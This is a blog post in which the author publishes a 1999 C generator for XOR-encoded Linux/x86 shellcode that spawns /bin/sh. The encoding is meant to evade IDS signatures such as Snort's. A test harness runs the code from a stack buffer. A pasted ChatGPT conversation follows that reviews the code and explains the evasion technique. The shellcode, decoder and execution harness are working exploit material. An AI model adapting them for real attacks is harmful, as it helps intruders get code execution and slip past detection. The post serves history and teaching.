An old-school (1999) XOR encoded shellcode…

I wrote this shellcode (and its generator) in around 1999, which generates an XOR encoded/encrypted shellcode to bypass IDS (intrusion detection systems) like Snort.

I publish it now because I feel like it’s an interesting bit of history. It mostly won’t work on modern systems with non-exec stack but it should be interesting to see if shellcodes these days have an XOR encoder/decoder payload, which of course could end up being a signature in itself…

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <unistd.h>
#include <assert.h>

#include <sys/syscall.h>

#define NOP 0x90

#define TESTCODE

int get_esp()
{
	int esp = (int) &esp;
	return esp;
}

void generate_shellcode(unsigned char *p, int len)
{
	printf("Len: %d\n", len);

	while (len--) {
		printf("\\x%x", (int) (*p++));
	}

	printf("\n");
}

void shellcode()
{
	/* start */
	asm("nop");
	asm("nop");
	asm("nop");
	asm("nop");


/* Shortened Aleph1 shellcode with xor encrypt/decrypt */
	asm("
		pushl $0x2 			# should we decrypt? 1 = yes

		# decryption routine 

		popl %eax
		cmpl $0x1, %eax			# check decrypt?
		jne shellcode_start		# jmp if no need to decrypt
		jmp d1				# jmp to call (get eip)
						# NOTE: EIP is pointing to the
						# end of the decryption routine
	d2:
		popl %esi			# grab eip off stack
		addl $3, %esi			# add 3 bytes to bypass NOPs at end of decrypt
		xor %ecx, %ecx			# clear %ecx
		movb $40, %ecx 			# length of shellcode: 40 - 1 = 39 bytes
	l1:
		xorb $127, (%esi)		# encrypt/decrypt with $127
		incl %esi			# increment index
		decl %ecx			# decrement counter
		cmp $1, %ecx			# check counter (1 here cause of nullterm problem)
		jne l1				# loop back to l1
	
		jmp shellcode_start		# end of decryption routine
	d1:
		call d2				# fake call to get EIP

	
		nop
		nop
		nop				# end of decryption
						# routine marker
						# (35 bytes)

	shellcode_start:			# standard aleph1 (shortened)
		jmp moo
	begin:
		popl   %esi                     # 1 byte
		movl   %esi,0x8(%esi)           # 3 bytes

		# nullifies.. (string + nullword) 
		xorl   %eax,%eax                # 2 bytes
		movb   %eax,0x7(%esi)           # 3 bytes
		movl   %eax,0xc(%esi)           # 3 bytes

		# set mode
		movb   $0xb,%al                 # 2 bytes

		# set address/vectors
		movl   %esi,%ebx                # 2 bytes
		leal   0x8(%esi),%ecx           # 3 bytes
		leal   0xc(%esi),%edx           # 3 bytes
		int    $0x80                    # 2 bytes
	moo:
		call begin
		.string \"/bin/sh\"
	");

	/* end */
	asm("nop");
	asm("nop");
	asm("nop");
	asm("nop");
}

int main(int argc, char **argv)
{
	unsigned char *start, *end;

	start = (unsigned char *) shellcode;
	while (1) {
		if (start[0] == NOP) {
			if ((start[1] == NOP) && (start[2] == NOP) &&
				(start[3] == NOP)) {
				break;
			}
		}
		start++;
	}
	start += 4;

	end = (unsigned char *) start;
	while (1) {
		if (end[0] == NOP) {
			if ((end[1] == NOP) && (end[2] == NOP) &&
				(end[3] == NOP)) {
				break;
			}
		}
		end++;
	}

	if (argc < 2) {
		generate_shellcode((unsigned char *) start, end - start);
		printf("%%esp: 0x%x\n", get_esp());		
	}

#ifdef TESTCODE
	printf("Testing shellcode...\n");
	{
		char buf[512];
		void (*func)() = (void *) buf;
		int i;
		char *p;

		/* this isn't accurate.. but it will allow you to test
		null-based shellcode */
		memcpy(buf, start, end - start);

		p = buf + 38;

		for (i = 0; i < 39; i++) {
			p[i] ^= 127;
		}
	
		buf[1] = 1; /* yes, ask it to decrypt */	

		/* print out the encrypted shellcode */
		generate_shellcode(buf, end - start);

		/* strcpy(buf, start); /* this is more accurate, like
					real shellcode */

		(*func)();
	}
#endif

}

ChatGPT analysis below:

what do you think of the following shellcode generator?

Share the shellcode generator’s source code, and I’ll give it a technical review.

I’ll focus on:

• Code quality: Structure, readability, maintainability, and correctness.
• Shellcode generation: Instruction encoding, architecture compatibility, position independence, and null-byte handling.
• Memory safety: Buffer management, alignment, and potential undefined behavior.
• Reliability: Edge cases, error handling, and portability.
• Security: Unsafe assumptions, vulnerabilities, and potential misuse.
• Design: Whether the implementation is unnecessarily complex and how it could be improved.

I can also assess the implementation from a low-level systems programming and reverse-engineering perspective, including its use of assembly, calling conventions, and executable memory.

Paste the code here or upload the file. I’ll give you a candid assessment of what’s well implemented, what’s questionable, and what I’d change.

shellcode_generator5.cCode

I’ve reviewed shellcode_generator5.c. My assessment is that it’s an interesting piece of old-school Linux/x86 shellcode engineering, particularly as an educational example of position-independent code and XOR encoding. However, it is fragile, relies on several undocumented assumptions, and is not a robust general-purpose shellcode generator.

Overall assessment

Historical / educational value

8/10

Implementation quality

4/10

Portability / reliability

2/10

These are subjective ratings based on static inspection, not execution tests.

What I like

1. Position-independent design

The use of the jmp/call/pop technique to obtain an address relative to the instruction pointer is a classic 32-bit x86 technique. It demonstrates an understanding of how position-independent machine code can locate embedded data without relying on fixed addresses.

2. Compact syscall-oriented payload

The assembly uses the traditional Linux i386 int $0x80 interface and syscall number 11 (execve). The payload constructs its argument pointers around the embedded /bin/sh string.

This is historically representative of early Linux shellcode implementations.

3. XOR encoding as a teaching example

The decryption loop illustrates the basic principle of applying XOR to a byte sequence and reversing that transformation with the same key.

It is worth distinguishing encoding from encryption, though: a fixed single-byte XOR key offers essentially no cryptographic protection.

Problems I noticed

Location	Issue	Severity
Lines 110–131	Unbounded search for four consecutive NOPs	High
Lines 141–148	Fixed 512-byte buffer with no length check	High
Lines 150–153	Hard-coded offsets and encoded length	High
Lines 156–164	Assumes executable stack memory	High
Lines 14–17	Pointer-to-int conversion	Medium
Lines 24–25	Hex output lacks zero-padding	Medium
Lines 40–97	Architecture/compiler-specific assembly	Medium

1. The NOP-marker extraction is brittle

The program locates its shellcode by scanning memory for four consecutive 0x90 bytes.

There is no explicit boundary on either search. If the expected marker is absent, the scanner can continue reading outside the function’s valid code region.

It also assumes the compiler preserves the inline assembly and its layout in exactly the expected way.

2. The generator is tightly coupled to one payload

The fixed values 38, 39, and 40 are particularly revealing.

They indicate that the encoding and decoding logic assumes a specific byte layout rather than deriving its boundaries from the actual payload.

This makes the implementation difficult to maintain. Even a small assembly change could invalidate those assumptions.

3. The testing mechanism is unsafe

The program copies bytes into a stack buffer and then attempts to execute them through a function pointer.

Modern systems commonly mark stack pages non-executable. Consequently, the testing approach is unlikely to work reliably on a normally hardened system.

There’s also no check that the extracted code fits in the destination buffer.

4. There are correctness concerns in the assembly

One interesting detail is:

xorl %eax,%eax movb %eax,0x7(%esi)

The intent is clear: write a null terminator after /bin/sh. However, the register naming and operand sizes deserve scrutiny. In conventional GNU x86 assembly syntax, movb expects a byte-sized register such as %al, not %eax.

As written, this may be rejected by the assembler.

Also, the initial pushl $0x2 selects the non-decrypting path, while the test harness subsequently modifies a byte to select decryption. That makes the program’s behavior dependent on the precise encoding of its first instruction.

What I would improve

For a safe, maintainable generator used in assembly education or binary analysis, I would separate three responsibilities:

1. Payload representation: Store machine-code bytes with explicit lengths rather than discovering them through unbounded memory scans.
2. Encoding and serialization: Implement byte transformations and hexadecimal formatting independently of the assembly.
3. Validation: Verify lengths, architecture assumptions, and encoded output without executing the generated payload.

I’d also replace magic numbers with named constants, use size_t for buffer lengths, and add automated tests for the encoding and formatting routines.

Final verdict

The most interesting part of this implementation isn’t the XOR operation itself. It’s the combination of position-independent assembly, embedded data, byte extraction, and runtime transformation.

That shows familiarity with classic exploitation techniques, but the implementation is closer to a historical proof of concept than a reliable tool.

One question that would materially change my assessment: Did you write this as a modern experiment, or is it older code you’re analyzing? The style is strongly reminiscent of late-1990s and early-2000s Linux/x86 exploitation examples.

i wrote it ages ago, 1999. the idea was to encode the shellcode with some sort of XOR encryption to avoid detection by IDS systems like Snort…

Ah, 1999! That puts the code in a completely different light. In that context, I think it’s a much more interesting piece of work than my initial assessment suggested.

You were essentially experimenting with polymorphic shellcode techniques, or more precisely, XOR-encoded shellcode with a runtime decoder, to evade signature-based intrusion detection.

And in 1999, that was a very relevant problem.

Why your approach made sense

At the time, intrusion detection systems such as Snort were heavily dependent on pattern matching. If a rule looked for a recognizable sequence of bytes from a known exploit payload, transforming those bytes could prevent that particular signature from matching.

Your approach had three important elements:

1. An XOR-encoded payload. The recognizable shellcode bytes were transformed using a fixed XOR key.
2. A small runtime decoder. The decoder would reverse the transformation before execution.
3. Position-independent addressing. The jmp/call/pop technique let the decoder locate its data without knowing its absolute memory address.

The clever part was recognizing that an IDS inspecting the network traffic would see different bytes from those ultimately interpreted as instructions by the CPU.

An important distinction

What you implemented was closer to encoded or self-decoding shellcode than fully polymorphic shellcode.

Your decoder was static, your XOR key was fixed at 127, and the payload structure remained constant.

A signature-based detector could therefore potentially recognize the decoder itself, even when the underlying payload was encoded.

That doesn’t invalidate the experiment. It highlights the fundamental limitation of static signatures: matching a known byte sequence is not the same as understanding what a program will do when executed.

The historical context is particularly interesting

In 1999:

• Snort had only recently appeared, in 1998.
• Linux shellcode commonly targeted 32-bit x86 using int 0x80.
• Stack execution was considerably more practical on many default configurations.
• Modern mitigations such as widespread NX enforcement and ASLR were not yet standard.
• Research into polymorphic and self-modifying shellcode was still developing.

Your code sits right in that transition between straightforward exploit payloads and techniques designed to defeat network-based signature detection.

One thing I especially noticed is that your generator wasn’t just outputting a transformed byte array. It also contained a test harness that copied the payload into a buffer and exercised its decoder. That suggests you were thinking about whether the encoded representation could successfully reconstruct the original code, not merely whether its bytes looked different.

Something I’m curious about

Did you actually test this against Snort in 1999, or was it primarily a proof of concept?

In particular, I’m interested in whether you observed a known shellcode signature matching the original payload but failing to match the XOR-encoded version.

That would make this more than an interesting historical implementation: it would be an early practical experiment in the limitations of signature-based network intrusion detection.